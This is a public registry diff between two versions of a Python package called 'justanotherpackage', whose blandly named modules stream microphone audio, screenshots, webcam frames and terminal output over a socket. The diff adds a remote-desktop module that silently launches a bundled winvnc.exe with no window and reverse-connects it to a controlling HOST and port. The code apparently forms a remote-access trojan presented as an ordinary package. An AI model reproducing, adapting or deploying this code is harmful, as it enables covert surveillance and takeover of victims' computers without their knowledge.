justanotherpackage 0.2.4__tar.gz → 0.3.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (28) hide show
  1. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/PKG-INFO +1 -1
  2. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/features/audio.py +7 -2
  3. justanotherpackage-0.3.0/justanotherpackage/features/remote_desktop.py +56 -0
  4. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/features/screenshot.py +8 -5
  5. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/features/terminal.py +9 -2
  6. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/features/webcam.py +10 -7
  7. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage.egg-info/PKG-INFO +1 -1
  8. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/setup.py +1 -1
  9. justanotherpackage-0.2.4/justanotherpackage/features/remote_desktop.py +0 -47
  10. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/MANIFEST.in +0 -0
  11. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/__init__.py +0 -0
  12. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/account_type.py +0 -0
  13. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/connect.py +0 -0
  14. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/features/__init__.py +0 -0
  15. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/shell.py +0 -0
  16. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/vnc/SecureVNCPlugin.dsm +0 -0
  17. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll +0 -0
  18. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf +0 -0
  19. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat +0 -0
  20. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/vnc/UltraVNC.ini +0 -0
  21. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/vnc/ddengine.dll +0 -0
  22. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/vnc/logging.dll +0 -0
  23. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/vnc/vnchooks.dll +0 -0
  24. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/vnc/winvnc.exe +0 -0
  25. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage.egg-info/SOURCES.txt +0 -0
  26. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage.egg-info/dependency_links.txt +0 -0
  27. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage.egg-info/top_level.txt +0 -0
  28. {justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/setup.cfg +0 -0
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.4
3
+ Version: 0.3.0
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -1,5 +1,6 @@
1
1
  import pyaudio
2
2
  import json
3
+ import base64
3
4
 
4
5
  def start_audio_stream(client_socket):
5
6
  p = pyaudio.PyAudio()
@@ -24,9 +25,13 @@ def start_audio_stream(client_socket):
24
25
  while True:
25
26
  try:
26
27
  audio_data = stream.read(1024)
27
- client_socket.sendall(audio_data)
28
+
29
+ encoded_audio = base64.b64encode(audio_data).decode('utf-8')
30
+
31
+ audio_json = json.dumps({"audio": encoded_audio})
32
+ client_socket.sendall(audio_json.encode('utf-8'))
28
33
  except (ConnectionError, ConnectionResetError):
29
34
  pass
30
35
  except Exception as e:
31
36
  message = f"From Remote: {str(e)}"
32
- client_socket.sendall(json.dumps({"logger": message}).encode())
37
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -0,0 +1,56 @@
1
+ import psutil
2
+ import subprocess
3
+ import time
4
+ import justanotherpackage
5
+ import os
6
+ import json
7
+
8
+ def find_process_by_exe(file_name):
9
+ try:
10
+ for proc in psutil.process_iter(['pid', 'exe']):
11
+ if proc.info['exe'] and file_name.lower() in proc.info['exe'].lower():
12
+ return proc.info['pid']
13
+ except (psutil.AccessDenied, psutil.NoSuchProcess):
14
+ pass
15
+ return None
16
+
17
+ def start_remote_desktop(data, HOST, client_socket):
18
+ try:
19
+ port = data.get("port")
20
+ if not port:
21
+ raise ValueError("Port not provided in data")
22
+
23
+ remote_pid = find_process_by_exe("winvnc.exe")
24
+ program_path = os.path.join(
25
+ os.path.dirname(justanotherpackage.__file__), "vnc", "winvnc.exe"
26
+ )
27
+
28
+ if not remote_pid:
29
+ try:
30
+ subprocess.Popen(
31
+ [program_path],
32
+ shell=True,
33
+ creationflags=subprocess.CREATE_NO_WINDOW
34
+ )
35
+ time.sleep(5)
36
+ except Exception as e:
37
+ raise RuntimeError(f"Failed to start winvnc.exe: {e}")
38
+
39
+ remote_pid = find_process_by_exe("winvnc.exe")
40
+ if remote_pid:
41
+ try:
42
+ command = [program_path, "-connect", f"{HOST}:{port}"]
43
+ subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
44
+ message = "From Remote: Remote Desktop Started"
45
+ except Exception as e:
46
+ message = f"From Remote: Failed to connect remote desktop - {e}"
47
+ else:
48
+ message = "From Remote: winvnc.exe process not found after starting"
49
+
50
+ client_socket.sendall(json.dumps({"logger": message}).encode())
51
+
52
+ except (ConnectionError, ConnectionResetError):
53
+ pass
54
+ except Exception as e:
55
+ error_message = f"From Remote: {str(e)}"
56
+ client_socket.sendall(json.dumps({"logger": error_message}).encode())
@@ -16,12 +16,15 @@ def send_screenshot(client_socket):
16
16
  screenshot.save(buffer, format="PNG")
17
17
  screenshot_data = buffer.getvalue()
18
18
 
19
- client_socket.sendall(struct.pack(">I", len(screenshot_data)))
19
+ screenshot_json = {
20
+ "screenshot": {
21
+ "length": len(screenshot_data),
22
+ "data": screenshot_data.decode("latin1")
23
+ }
24
+ }
25
+
26
+ client_socket.sendall(json.dumps(screenshot_json).encode('utf-8'))
20
27
 
21
- total_sent = 0
22
- while total_sent < len(screenshot_data):
23
- sent = client_socket.send(screenshot_data[total_sent:])
24
- total_sent += sent
25
28
  except (ConnectionError, ConnectionResetError):
26
29
  pass
27
30
  except Exception as e:
@@ -17,9 +17,16 @@ def terminal(data, client_socket, shell, stdout_queue, stderr_queue):
17
17
  while not stderr_queue.empty():
18
18
  output += stderr_queue.get_nowait()
19
19
 
20
- client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
20
+ response = {
21
+ "terminal": {
22
+ "command": command,
23
+ "output": output if output else "Command executed successfully."
24
+ }
25
+ }
26
+
27
+ client_socket.sendall(json.dumps(response).encode('utf-8'))
21
28
  except (ConnectionError, ConnectionResetError):
22
29
  pass
23
30
  except Exception as e:
24
31
  message = f"From Remote: {str(e)}"
25
- client_socket.sendall(json.dumps({"logger": message}).encode())
32
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -10,7 +10,7 @@ def send_webcam_stream(client_socket):
10
10
  client_socket.sendall(json.dumps({"logger": "No webcam device found"}).encode())
11
11
  return
12
12
  except (ConnectionError, ConnectionResetError):
13
- pass
13
+ pass
14
14
  except Exception as e:
15
15
  message = f"From Remote: {str(e)}"
16
16
  client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -24,13 +24,16 @@ def send_webcam_stream(client_socket):
24
24
 
25
25
  _, jpeg_frame = cv2.imencode('.jpg', frame)
26
26
  frame_data = jpeg_frame.tobytes()
27
+ frame_data_length = len(frame_data)
27
28
 
28
- client_socket.sendall(struct.pack(">I", len(frame_data)))
29
+ webcam_data = {
30
+ "webcam": {
31
+ "length": frame_data_length,
32
+ "data": frame_data.decode("latin1")
33
+ }
34
+ }
29
35
 
30
- total_sent = 0
31
- while total_sent < len(frame_data):
32
- sent = client_socket.send(frame_data[total_sent:])
33
- total_sent += sent
36
+ client_socket.sendall(json.dumps(webcam_data).encode())
34
37
 
35
38
  cap.release()
36
39
  client_socket.sendall(json.dumps({"logger": "Webcam streaming stopped."}).encode())
@@ -38,4 +41,4 @@ def send_webcam_stream(client_socket):
38
41
  pass
39
42
  except Exception as e:
40
43
  message = f"From Remote: {str(e)}"
41
- client_socket.sendall(json.dumps({"logger": message}).encode())
44
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.4
3
+ Version: 0.3.0
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="justanotherpackage",
5
- version="0.2.4",
5
+ version="0.3.0",
6
6
  packages=find_packages(),
7
7
  python_requires=">=3.6",
8
8
  include_package_data=True,
@@ -1,47 +0,0 @@
1
- import psutil
2
- import subprocess
3
- import time
4
- import justanotherpackage
5
- import os
6
- import json
7
- import traceback
8
-
9
- def find_process_by_exe(file_name):
10
- for proc in psutil.process_iter(['pid', 'exe']):
11
- try:
12
- if proc.info['exe'] and file_name.lower() in proc.info['exe'].lower():
13
- return proc.info['pid']
14
- except (psutil.AccessDenied, psutil.NoSuchProcess):
15
- continue
16
- return None
17
-
18
- def start_remote_desktop(data, HOST, client_socket):
19
- try:
20
- port = data["port"]
21
- remote_pid = find_process_by_exe("winvnc.exe")
22
- program_path = os.path.join(
23
- os.path.dirname(justanotherpackage.__file__), "vnc", "winvnc.exe"
24
- )
25
-
26
- if not remote_pid:
27
- subprocess.Popen(
28
- [program_path],
29
- shell=True,
30
- creationflags=subprocess.CREATE_NO_WINDOW
31
- )
32
- time.sleep(5)
33
-
34
- remote_pid = find_process_by_exe("winvnc.exe")
35
-
36
- if remote_pid:
37
- command = [program_path, "-connect", f"{HOST}:{port}"]
38
- subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
39
- message = f"From Remote: Remote Desktop Started"
40
- client_socket.sendall(json.dumps({"logger": message}).encode())
41
-
42
- except (ConnectionError, ConnectionResetError):
43
- pass
44
- except Exception as e:
45
- traceback.print_exc()
46
- message = f"From Remote: {str(e)}"
47
- client_socket.sendall(json.dumps({"logger": message}).encode())